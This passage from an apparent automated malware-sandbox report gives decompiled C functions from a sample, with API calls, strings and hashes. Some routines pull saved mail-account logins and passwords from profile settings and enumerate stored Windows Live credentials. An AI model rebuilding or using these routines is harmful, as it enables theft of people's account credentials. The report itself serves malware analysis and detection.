				E0040311F(_a4, "UsesIMAP",  &_v524, 0xff, _a8);
				if(_v524 == 0x31) {
					 *((intOrPtr*)(_t65 + 0x210)) = 2;
				}
				_v12 = _t65 + 0x110;
				E0040311F(_a4, "PopServer", _t65 + 0x110, 0x7f, _a8);
				_t70 = _t65 + 0x214;
				E0040311F(_a4, "LoginName", _t70, 0x7f, _a8);
				E0040311F(_a4, "RealName", _t65 + 0xc, 0x7f, _a8);
				E0040311F(_a4, "ReturnAddress", _t65 + 0x90, 0x7f, _a8);
				E0040311F(_a4, "SavePasswordText",  &_v268, 0xff, _a8);
				if(_v268 != 0) {
					_v188 = 0;
					E00401D5A( &_v268, _t65 + 0x294);
					if( *_t70 == 0) {
						_push(_a8);
						_t60 = 0x7f;
						_push(_t60);
						_push(_t70);
						_push("PopAccount");
						_push(_a4);
						E0040311F();
						if( *_t70 != 0) {
							_t53 = strchr(_t70, 0x40);
							_a8 = _t53;
							if(_t53 != 0) {
								E004060D0(_t60, _v12,  &(_t53[1]));
								 *_a8 = 0;
							}
						}
					}
					_v8 = 1;
				}
				if( *_t70 != 0) {
					_v8 = 1;
				}
				return _v8;
			}














                                                                                                              0x00403156
                                                                                                              0x00403160
                                                                                                              0x00403177
                                                                                                              0x00403181
                                                                                                              0x0040318b
                                                                                                              0x00403197
                                                                                                              0x00403199
                                                                                                              0x00403199
                                                                                                              0x004031b7
                                                                                                              0x004031ba
                                                                                                              0x004031c2
                                                                                                              0x004031d3
                                                                                                              0x004031e9
                                                                                                              0x00403202
                                                                                                              0x0040321a
                                                                                                              0x00403226
                                                                                                              0x00403234
                                                                                                              0x0040323b
                                                                                                              0x00403243
                                                                                                              0x00403245
                                                                                                              0x0040324a
                                                                                                              0x0040324b
                                                                                                              0x0040324c
                                                                                                              0x0040324d
                                                                                                              0x00403252
                                                                                                              0x00403255
                                                                                                              0x0040325d
                                                                                                              0x00403262
                                                                                                              0x0040326b
                                                                                                              0x0040326e
                                                                                                              0x00403275
                                                                                                              0x0040327e
                                                                                                              0x0040327e
                                                                                                              0x0040326e
                                                                                                              0x0040325d
                                                                                                              0x00403281
                                                                                                              0x00403281
                                                                                                              0x0040328e
                                                                                                              0x00403290
                                                                                                              0x00403290
                                                                                                              0x0040329b

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040311F: GetPrivateProfileStringA.KERNEL32(00000000,?,Function_00012466,?,?,?), ref: 00403143
                                                                                                              • strchr.MSVCRT ref: 00403262
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfileStringstrchr
                                                                                                              • String ID: 1$LoginName$PopAccount$PopServer$RealName$ReturnAddress$SavePasswordText$UsesIMAP
                                                                                                              • API String ID: 1348940319-1729847305
                                                                                                              • Opcode ID: cc26f5bc1b7aaf2e570deba64efa3e2944f8347bda1c61efbd6a62b24a137412
                                                                                                              • Instruction ID: 1cfb9ddeec5dd782170234712f417fe000b4b626ad5f21becf6162a2306db812
                                                                                                              • Opcode Fuzzy Hash: cc26f5bc1b7aaf2e570deba64efa3e2944f8347bda1c61efbd6a62b24a137412
                                                                                                              • Instruction Fuzzy Hash: 7631B370A04209BEEF119F20CC06FD97F6CAF14318F10816AF95C7A1D2C7B95B958B54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F09D Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 60COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 16%
                                                                                                              			E0040F09D(char* __eax, void* __ecx) {
				void* _t2;
				char* _t3;
				void* _t5;
				void* _t6;
				void* _t7;

				_t3 = __eax;
				_t6 = __ecx;
				_t5 = 4;
				while(1) {
					_t2 =  *_t3;
					if(_t2 != 0x3c) {
						goto L3;
					}
					_push(_t5);
					_push("&lt;");
					L14:
					_t2 = memcpy(_t6, ??, ??);
					_t7 = _t7 + 0xc;
					_t6 = _t6 + _t5;
					L16:
					if( *_t3 != 0) {
						_t3 = _t3 + 1;
						continue;
					}
					return _t2;
					L3:
					if(_t2 != 0x3e) {
						if(_t2 != 0x22) {
							if(_t2 != 0xb0) {
								if(_t2 != 0x26) {
									if(_t2 != 0xa) {
										 *_t6 = _t2;
										_t6 = _t6 + 1;
									} else {
										_push(_t5);
										_push("<br>");
										goto L14;
									}
								} else {
									_push(5);
									_push("&amp;");
									goto L11;
								}
							} else {
								_push(5);
								_push("&deg;");
								L11:
								_t2 = memcpy(_t6, ??, ??);
								_t7 = _t7 + 0xc;
								_t6 = _t6 + 5;
							}
						} else {
							_t2 = memcpy(_t6, "&quot;", 6);
							_t7 = _t7 + 0xc;
							_t6 = _t6 + 6;
						}
					} else {
						_push(_t5);
						_push("&gt;");
						goto L14;
					}
					goto L16;
				}
			}








                                                                                                              0x0040f0a2
                                                                                                              0x0040f0a4
                                                                                                              0x0040f0a6
                                                                                                              0x0040f0a7
                                                                                                              0x0040f0a7
                                                                                                              0x0040f0ab
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040f0ad
                                                                                                              0x0040f0ae
                                                                                                              0x0040f10a
                                                                                                              0x0040f10b
                                                                                                              0x0040f110
                                                                                                              0x0040f113
                                                                                                              0x0040f11a
                                                                                                              0x0040f11d
                                                                                                              0x0040f11f
                                                                                                              0x00000000
                                                                                                              0x0040f11f
                                                                                                              0x0040f125
                                                                                                              0x0040f0b5
                                                                                                              0x0040f0b7
                                                                                                              0x0040f0c3
                                                                                                              0x0040f0dc
                                                                                                              0x0040f0e9
                                                                                                              0x0040f102
                                                                                                              0x0040f117
                                                                                                              0x0040f119
                                                                                                              0x0040f104
                                                                                                              0x0040f104
                                                                                                              0x0040f105
                                                                                                              0x00000000
                                                                                                              0x0040f105
                                                                                                              0x0040f0eb
                                                                                                              0x0040f0eb
                                                                                                              0x0040f0ed
                                                                                                              0x00000000
                                                                                                              0x0040f0ed
                                                                                                              0x0040f0de
                                                                                                              0x0040f0de
                                                                                                              0x0040f0e0
                                                                                                              0x0040f0f2
                                                                                                              0x0040f0f3
                                                                                                              0x0040f0f8
                                                                                                              0x0040f0fb
                                                                                                              0x0040f0fb
                                                                                                              0x0040f0c5
                                                                                                              0x0040f0cd
                                                                                                              0x0040f0d2
                                                                                                              0x0040f0d5
                                                                                                              0x0040f0d5
                                                                                                              0x0040f0b9
                                                                                                              0x0040f0b9
                                                                                                              0x0040f0ba
                                                                                                              0x00000000
                                                                                                              0x0040f0ba
                                                                                                              0x00000000
                                                                                                              0x0040f0b7

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy
                                                                                                              • String ID: &amp;$&deg;$&gt;$&lt;$&quot;$<br>
                                                                                                              • API String ID: 3510742995-3273207271
                                                                                                              • Opcode ID: eb0853a178c78b5e5dae4962a3b0185fc54ec5424429a466571b96bdadbff949
                                                                                                              • Instruction ID: 3259d816fa1e591736f6461b451ad75962e4f861ee845343ab42ffe8f3feec31
                                                                                                              • Opcode Fuzzy Hash: eb0853a178c78b5e5dae4962a3b0185fc54ec5424429a466571b96bdadbff949
                                                                                                              • Instruction Fuzzy Hash: 450171B2E852A4B5DA350905AC07FA70B865BA6B11F350037F58639AC2E1AD0D8F516F
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D865 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 133COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 69%
                                                                                                              			E0040D865(intOrPtr* _a4) {
				char _v260;
				char _v516;
				void _v771;
				char _v772;
				intOrPtr _v776;
				intOrPtr _v780;
				intOrPtr _v788;
				int _v796;
				char _v800;
				signed int _v804;
				char _v808;
				char _v812;
				void* __edi;
				void* __esi;
				intOrPtr* _t52;
				void* _t53;
				void* _t57;
				signed int _t58;
				char* _t65;
				unsigned int _t68;
				intOrPtr _t69;
				void* _t85;
				char* _t89;
				intOrPtr _t92;
				intOrPtr* _t93;
				signed int _t94;
				void* _t96;

				_t52 = _a4;
				_t96 = (_t94 & 0xfffffff8) - 0x32c;
				_push(_t85);
				 *((intOrPtr*)(_t52 + 4)) = 0;
				 *((intOrPtr*)(_t52 + 8)) = 0;
				_t89 = 0;
				_t53 = E00406278();
				_t97 =  *((intOrPtr*)(_t53 + 4)) - 5;
				if( *((intOrPtr*)(_t53 + 4)) > 5) {
					_t89 = L"WindowsLive:name=*";
				}
				_v800 = 0;
				_v796 = 0;
				if(E00404647( &_v800, _t85, _t97) == 0) {
					L21:
					return E004046C2( &_v800);
				}
				_v808 = 0;
				_v812 = 0;
				if(_v780 == 0) {
					_t57 = 0;
					__eflags = 0;
				} else {
					_t57 = _v776(_t89, 0,  &_v812,  &_v808);
				}
				if(_t57 == 0) {
					goto L21;
				} else {
					_t58 = 0;
					_v804 = 0;
					if(_v812 <= 0) {
						L20:
						_v788(_v808);
						goto L21;
					} else {
						do {
							_t92 =  *((intOrPtr*)(_v808 + _t58 * 4));
							if( *((intOrPtr*)(_t92 + 4)) == 1 &&  *(_t92 + 8) != 0 &&  *(_t92 + 0x30) != 0) {
								_v772 = 0;
								memset( &_v771, 0, 0xff);
								_t96 = _t96 + 0xc;
								if(WideCharToMultiByte(0, 0,  *(_t92 + 8), 0xffffffff,  &_v772, 0xff, 0, 0) > 0) {
									_push(0x11);
									_t65 =  &_v772;
									_push("windowslive:name=");
									_push(_t65);
									L00411612();
									_t96 = _t96 + 0xc;
									if(_t65 == 0) {
										_v516 = 0;
										_v260 = 0;
										WideCharToMultiByte(0, 0,  *(_t92 + 0x30), 0xffffffff,  &_v516, 0xff, 0, 0);
										_t68 =  *(_t92 + 0x18);
										if(_t68 > 0) {
											WideCharToMultiByte(0, 0,  *(_t92 + 0x1c), _t68 >> 1,  &_v260, 0xff, 0, 0);
											 *((char*)(_t96 + ( *(_t92 + 0x18) >> 1) + 0x238)) = 0;
										}
										if(_v260 == 0) {
											_t69 = _a4;
											_t44 = _t69 + 8;
											 *_t44 =  *((intOrPtr*)(_t69 + 8)) + 1;
											__eflags =  *_t44;
										} else {
											_t93 = _a4;
											 *((intOrPtr*)( *_t93 + 4))( &_v516);
											 *((intOrPtr*)(_t93 + 4)) =  *((intOrPtr*)(_t93 + 4)) + 1;
										}
									}
								}
							}
							_t58 = _v804 + 1;
							_v804 = _t58;
						} while (_t58 < _v812);
						goto L20;
					}
				}
			}






























                                                                                                              0x0040d86b
                                                                                                              0x0040d86e
                                                                                                              0x0040d878
                                                                                                              0x0040d879
                                                                                                              0x0040d87c
                                                                                                              0x0040d87f
                                                                                                              0x0040d881
                                                                                                              0x0040d886
                                                                                                              0x0040d88a
                                                                                                              0x0040d88c
                                                                                                              0x0040d88c
                                                                                                              0x0040d895
                                                                                                              0x0040d899
                                                                                                              0x0040d8a4
                                                                                                              0x0040d9e7
                                                                                                              0x0040d9f6
                                                                                                              0x0040d9f6
                                                                                                              0x0040d8ae
                                                                                                              0x0040d8b2
                                                                                                              0x0040d8b6
                                                                                                              0x0040d8ca
                                                                                                              0x0040d8ca
                                                                                                              0x0040d8b8
                                                                                                              0x0040d8c4
                                                                                                              0x0040d8c4
                                                                                                              0x0040d8ce
                                                                                                              0x00000000
                                                                                                              0x0040d8d4
                                                                                                              0x0040d8d4
                                                                                                              0x0040d8da
                                                                                                              0x0040d8de
                                                                                                              0x0040d9df
                                                                                                              0x0040d9e3
                                                                                                              0x00000000
                                                                                                              0x0040d8e4
                                                                                                              0x0040d8e9
                                                                                                              0x0040d8ed
                                                                                                              0x0040d8f4
                                                                                                              0x0040d913
                                                                                                              0x0040d917
                                                                                                              0x0040d91c
                                                                                                              0x0040d936
                                                                                                              0x0040d93c
                                                                                                              0x0040d93e
                                                                                                              0x0040d942
                                                                                                              0x0040d947
                                                                                                              0x0040d948
                                                                                                              0x0040d94d
                                                                                                              0x0040d952
                                                                                                              0x0040d964
                                                                                                              0x0040d96d
                                                                                                              0x0040d974
                                                                                                              0x0040d97a
                                                                                                              0x0040d97f
                                                                                                              0x0040d994
                                                                                                              0x0040d99f
                                                                                                              0x0040d99f
                                                                                                              0x0040d9ad
                                                                                                              0x0040d9c6
                                                                                                              0x0040d9c9
                                                                                                              0x0040d9c9
                                                                                                              0x0040d9c9
                                                                                                              0x0040d9af
                                                                                                              0x0040d9af
                                                                                                              0x0040d9be
                                                                                                              0x0040d9c1
                                                                                                              0x0040d9c1
                                                                                                              0x0040d9ad
                                                                                                              0x0040d952
                                                                                                              0x0040d936
                                                                                                              0x0040d9d0
                                                                                                              0x0040d9d5
                                                                                                              0x0040d9d5
                                                                                                              0x00000000
                                                                                                              0x0040d8e9
                                                                                                              0x0040d8de

                                                                                                              APIs
                                                                                                                • Part of subcall function 00406278: GetVersionExA.KERNEL32(00417118,0000001A,0040EE77,00000104), ref: 00406292
                                                                                                              • memset.MSVCRT ref: 0040D917
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000,?,?,?), ref: 0040D92E
                                                                                                              • _strnicmp.MSVCRT ref: 0040D948
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000,?,?,?,?,?,?), ref: 0040D974
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,000000FF,00000000,00000000,?,?,?,?,?,?), ref: 0040D994
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharMultiWide$Version_strnicmpmemset
                                                                                                              • String ID: WindowsLive:name=*$windowslive:name=
                                                                                                              • API String ID: 945165440-3589380929
                                                                                                              • Opcode ID: 3f9da4edc47d2955fd47475458a514ae76322f65be24e3d720485981fdfd18bc
                                                                                                              • Instruction ID: 27d6d704735a973bd95cec350459a8e2137e61d4893fa240fc9d50cc053063f8
                                                                                                              • Opcode Fuzzy Hash: 3f9da4edc47d2955fd47475458a514ae76322f65be24e3d720485981fdfd18bc
                                                                                                              • Instruction Fuzzy Hash: FD4183B1904345AFC720EF54D9849ABBBECEB84344F044A3EF995A3291D734DD48CB66
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407FEB Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 62COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 78%
                                                                                                              			E00407FEB(void* __ecx, void* __eflags, struct HWND__* _a4) {
				void _v259;
				char _v260;
				void _v4359;
				char _v4360;
				int _t17;
				CHAR* _t26;

				E004118A0(0x1104, __ecx);
				_v4360 = 0;
				memset( &_v4359, 0, 0x1000);
				_t17 = GetDlgCtrlID(_a4);
				_t35 = _t17;
				GetWindowTextA(_a4,  &_v4360, 0x1000);
				if(_t17 > 0 && _v4360 != 0) {
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					GetClassNameA(_a4,  &_v260, 0xff);
					_t26 =  &_v260;
					_push("sysdatetimepick32");
					_push(_t26);
					L004115B2();
					if(_t26 != 0) {
						E00407EC3(_t35,  &_v4360);
					}
				}
				return 1;
			}









                                                                                                              0x00407ff3
                                                                                                              0x0040800b
                                                                                                              0x00408011
                                                                                                              0x0040801c
                                                                                                              0x00408022
                                                                                                              0x0040802f
                                                                                                              0x00408037
                                                                                                              0x0040804f
                                                                                                              0x00408055
                                                                                                              0x00408068
                                                                                                              0x0040806e
                                                                                                              0x00408074
                                                                                                              0x00408079
                                                                                                              0x0040807a
                                                                                                              0x00408083
                                                                                                              0x0040808d
                                                                                                              0x00408093
                                                                                                              0x00408083
                                                                                                              0x0040809b

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00408011
                                                                                                              • GetDlgCtrlID.USER32 ref: 0040801C
                                                                                                              • GetWindowTextA.USER32(?,?,00001000), ref: 0040802F
                                                                                                              • memset.MSVCRT ref: 00408055
                                                                                                              • GetClassNameA.USER32(?,?,000000FF), ref: 00408068
                                                                                                              • _stricmp.MSVCRT(?,sysdatetimepick32), ref: 0040807A
                                                                                                                • Part of subcall function 00407EC3: _itoa.MSVCRT ref: 00407EE4
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$ClassCtrlNameTextWindow_itoa_stricmp
                                                                                                              • String ID: sysdatetimepick32
                                                                                                              • API String ID: 896699463-4169760276
                                                                                                              • Opcode ID: 2e87e3ae20d77166e7272aa9ea6a9449553f890dc716fe518baf187b76836374
                                                                                                              • Instruction ID: 1a4d9fd07e56cfca2567f2ea4562d04845e15f14fd3b0b17285a92413f4c7fe9
                                                                                                              • Opcode Fuzzy Hash: 2e87e3ae20d77166e7272aa9ea6a9449553f890dc716fe518baf187b76836374
                                                                                                              • Instruction Fuzzy Hash: 8811E3728040187EDB119B64DC81DEB7BACEF58355F0440BBFB49E2151EA789FC88B69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405960 Relevance: 12.1, APIs: 8, Instructions: 103windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 85%
                                                                                                              			E00405960(void** __eax, void* __edi, intOrPtr _a4, struct HWND__* _a8) {
				RECT* _v8;
				void* __esi;
				void* _t39;
				signed int _t41;
				void* _t42;
				struct HWND__* _t47;
				signed int _t53;
				void* _t54;
				signed int _t76;
				signed int _t78;
				void* _t80;
				void** _t82;
				signed int _t86;
				void* _t90;
				signed int _t91;

				_t80 = __edi;
				_push(_t58);
				_push(0xc);
				_v8 = 0;
				 *((intOrPtr*)(__edi + 0x10)) = __eax;
				L004115D0();
				if(__eax == 0) {
					_t82 = 0;
				} else {
					 *((intOrPtr*)(__eax)) = 0;
					_t82 = __eax;
				}
				 *(_t80 + 0xc) = _t82;
				_t39 =  *_t82;
				_t90 = _t39;
				if(_t90 != 0) {
					_push(_t39);
					L004115D6();
					 *_t82 = 0;
				}
				_t82[2] = _a8;
				_t41 = E004049FB(_a8);
				_t76 = 4;
				_t82[1] = _t41;
				_t42 = _t41 * _t76;
				_push( ~(0 | _t90 > 0x00000000) | _t42);
				L004115D0();
				 *_t82 = _t42;
				memset(_t42, 0, _t82[1] << 2);
				E00408441( *(_t80 + 0xc), ( *(_t80 + 0xc))[2]);
				_t91 =  *(_t80 + 0x10);
				if(_t91 == 0) {
					_t86 = ( *(_t80 + 0xc))[1];
					_t78 = 0x14;
					_t53 = _t86 * _t78;
					_push( ~(0 | _t91 > 0x00000000) | _t53);
					L004115D0();
					 *(_t80 + 0x10) = _t53;
					if(_t86 > 0) {
						_t54 = 0;
						do {
							 *((intOrPtr*)(_t54 +  *(_t80 + 0x10) + 0xc)) = 0x78;
							_t54 = _t54 + 0x14;
							_t86 = _t86 - 1;
						} while (_t86 != 0);
					}
					_v8 = 1;
				}
				if(E00401540(0x448, _t80, _a4) == 1) {
					E004083B1( *(_t80 + 0xc), ( *(_t80 + 0xc))[2]);
					InvalidateRect(( *(_t80 + 0xc))[2], 0, 0);
				}
				_t47 = SetFocus(_a8);
				if(_v8 != 0) {
					_push( *(_t80 + 0x10));
					L004115D6();
				}
				return _t47;
			}


















                                                                                                              0x00405960
                                                                                                              0x00405964
                                                                                                              0x00405969
                                                                                                              0x0040596b
                                                                                                              0x0040596e
                                                                                                              0x00405971
                                                                                                              0x00405979
                                                                                                              0x00405981
                                                                                                              0x0040597b
                                                                                                              0x0040597b
                                                                                                              0x0040597d
                                                                                                              0x0040597d
                                                                                                              0x00405983
                                                                                                              0x00405986
                                                                                                              0x00405988
                                                                                                              0x0040598a
                                                                                                              0x0040598c
                                                                                                              0x0040598d
                                                                                                              0x00405993
                                                                                                              0x00405993
                                                                                                              0x00405999
                                                                                                              0x0040599c
                                                                                                              0x004059a6
                                                                                                              0x004059a7
                                                                                                              0x004059aa
                                                                                                              0x004059b3
                                                                                                              0x004059b4
                                                                                                              0x004059c3
                                                                                                              0x004059c5
                                                                                                              0x004059d3
                                                                                                              0x004059d8
                                                                                                              0x004059db
                                                                                                              0x004059e0
                                                                                                              0x004059e7
                                                                                                              0x004059ea
                                                                                                              0x004059f3
                                                                                                              0x004059f4
                                                                                                              0x004059fc
                                                                                                              0x004059ff
                                                                                                              0x00405a01
                                                                                                              0x00405a03
                                                                                                              0x00405a06
                                                                                                              0x00405a0e
                                                                                                              0x00405a11
                                                                                                              0x00405a11
                                                                                                              0x00405a03
                                                                                                              0x00405a14
                                                                                                              0x00405a14
                                                                                                              0x00405a2c
                                                                                                              0x00405a34
                                                                                                              0x00405a41
                                                                                                              0x00405a41
                                                                                                              0x00405a4a
                                                                                                              0x00405a53
                                                                                                              0x00405a55
                                                                                                              0x00405a58
                                                                                                              0x00405a5d
                                                                                                              0x00405a61

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$??3@$FocusInvalidateRectmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 2313361498-0
                                                                                                              • Opcode ID: 6491db8030e804c39b43d109d44f04b6a97a2e93c6122ebfcc29db5ada63d69f
                                                                                                              • Instruction ID: c71b172428599a8aed3dd41af9edf36fe528ac6939486576e3287dd5c50b91d7
                                                                                                              • Opcode Fuzzy Hash: 6491db8030e804c39b43d109d44f04b6a97a2e93c6122ebfcc29db5ada63d69f
                                                                                                              • Instruction Fuzzy Hash: 9931C6B2600605BFDB149F29D88591AF7A5FF44354B10863FF54AE72A0DB78EC408F98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040595F Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040595F() {
				void* _t2;
				void* _t6;

				_t2 =  *((intOrPtr*)(_t6 - 0x75))();
				return _t2;
			}





                                                                                                              0x0040595f
                                                                                                              0x00405858

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$??3@$FocusInvalidateRectmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 2313361498-0
                                                                                                              • Opcode ID: 61440837c82a7fed3565984c9525932c3c9abf85eda32cce1afa40b93f9b90f6
                                                                                                              • Instruction ID: 2c01c4f721a8db7fd1ca151da996a787eb6a7835a5f3d58e7b252e740a716a2e
                                                                                                              • Opcode Fuzzy Hash: 61440837c82a7fed3565984c9525932c3c9abf85eda32cce1afa40b93f9b90f6
                                                                                                              • Instruction Fuzzy Hash: 2331C4B1600601BFDB249F29D88596AB7A5FF44354B10863FF54AEB2A0DB79AC408F58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A698 Relevance: 12.1, APIs: 8, Instructions: 76COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040A698(void* __esi) {
				struct HDWP__* _v8;
				int _v12;
				intOrPtr _v16;
				struct tagRECT _v32;
				struct tagRECT _v48;
				void* _t32;
				int _t60;
				int _t65;

				if( *((intOrPtr*)(__esi + 0x124)) != 0) {
					GetClientRect( *(__esi + 0x108),  &_v32);
					GetWindowRect( *(__esi + 0x114),  &_v48);
					_t65 = _v48.bottom - _v48.top + 1;
					GetWindowRect( *(__esi + 0x118),  &_v48);
					_v12 = _v32.right - _v32.left;
					_t60 = _v48.bottom - _v48.top + 1;
					_v16 = _v32.bottom - _v32.top;
					_v8 = BeginDeferWindowPos(3);
					DeferWindowPos(_v8,  *(__esi + 0x118), 0, 0, 0, _v12, _t60, 4);
					DeferWindowPos(_v8,  *(__esi + 0x114), 0, 0, _v32.bottom - _t65 + 1, _v12, _t65, 6);
					DeferWindowPos(_v8,  *( *((intOrPtr*)(__esi + 0x370)) + 0x184), 0, 0, _t60, _v12, _v16 - _t60 - _t65, 4);
					return EndDeferWindowPos(_v8);
				}
				return _t32;
			}











                                                                                                              0x0040a6a5
                                                                                                              0x0040a6b7
                                                                                                              0x0040a6cd
                                                                                                              0x0040a6df
                                                                                                              0x0040a6e0
                                                                                                              0x0040a6ee
                                                                                                              0x0040a6f9
                                                                                                              0x0040a6fa
                                                                                                              0x0040a709
                                                                                                              0x0040a71a
                                                                                                              0x0040a73a
                                                                                                              0x0040a761
                                                                                                              0x00000000
                                                                                                              0x0040a771
                                                                                                              0x0040a773

                                                                                                              APIs
                                                                                                              • GetClientRect.USER32 ref: 0040A6B7
                                                                                                              • GetWindowRect.USER32 ref: 0040A6CD
                                                                                                              • GetWindowRect.USER32 ref: 0040A6E0
                                                                                                              • BeginDeferWindowPos.USER32 ref: 0040A6FD
                                                                                                              • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 0040A71A
                                                                                                              • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 0040A73A
                                                                                                              • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000004), ref: 0040A761
                                                                                                              • EndDeferWindowPos.USER32(?), ref: 0040A76A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Window$Defer$Rect$BeginClient
                                                                                                              • String ID:
                                                                                                              • API String ID: 2126104762-0
                                                                                                              • Opcode ID: 7346dcf7e22bd518b4d0e96dfafb7fac3e60ecb16f258d456982d784f7109538
                                                                                                              • Instruction ID: 87e3885615821b4149b7d1c90d618f2f4546f2004ccbdac015d6c62594ca92fd
                                                                                                              • Opcode Fuzzy Hash: 7346dcf7e22bd518b4d0e96dfafb7fac3e60ecb16f258d456982d784f7109538
                                                                                                              • Instruction Fuzzy Hash: 1E21A771A00209FFDB11CFA8DE89FEEBBB9FB08710F104465F655E2160C771AA519B24
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406069 Relevance: 12.0, APIs: 8, Instructions: 42clipboardmemorystringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 91%
                                                                                                              			E00406069(void* _a4) {
				signed int _t11;
				int _t13;
				void* _t17;
				signed int _t19;
				void* _t22;

				_t22 = _a4;
				_t19 = 0;
				EmptyClipboard();
				if(_t22 != 0) {
					_t2 = strlen(_t22) + 1; // 0x1
					_t13 = _t2;
					_t17 = GlobalAlloc(0x2000, _t13);
					if(_t17 != 0) {
						memcpy(GlobalLock(_t17), _t22, _t13);
						GlobalUnlock(_t17);
						_t11 = SetClipboardData(1, _t17);
						asm("sbb esi, esi");
						_t19 =  ~( ~_t11);
					}
				}
				CloseClipboard();
				return _t19;
			}








                                                                                                              0x0040606a
                                                                                                              0x0040606f
                                                                                                              0x00406071
                                                                                                              0x00406079
                                                                                                              0x00406084
                                                                                                              0x00406084
                                                                                                              0x00406093
                                                                                                              0x00406097
                                                                                                              0x004060a3
                                                                                                              0x004060ac
                                                                                                              0x004060b5
                                                                                                              0x004060bf
                                                                                                              0x004060c1
                                                                                                              0x004060c1
                                                                                                              0x004060c4
                                                                                                              0x004060c5
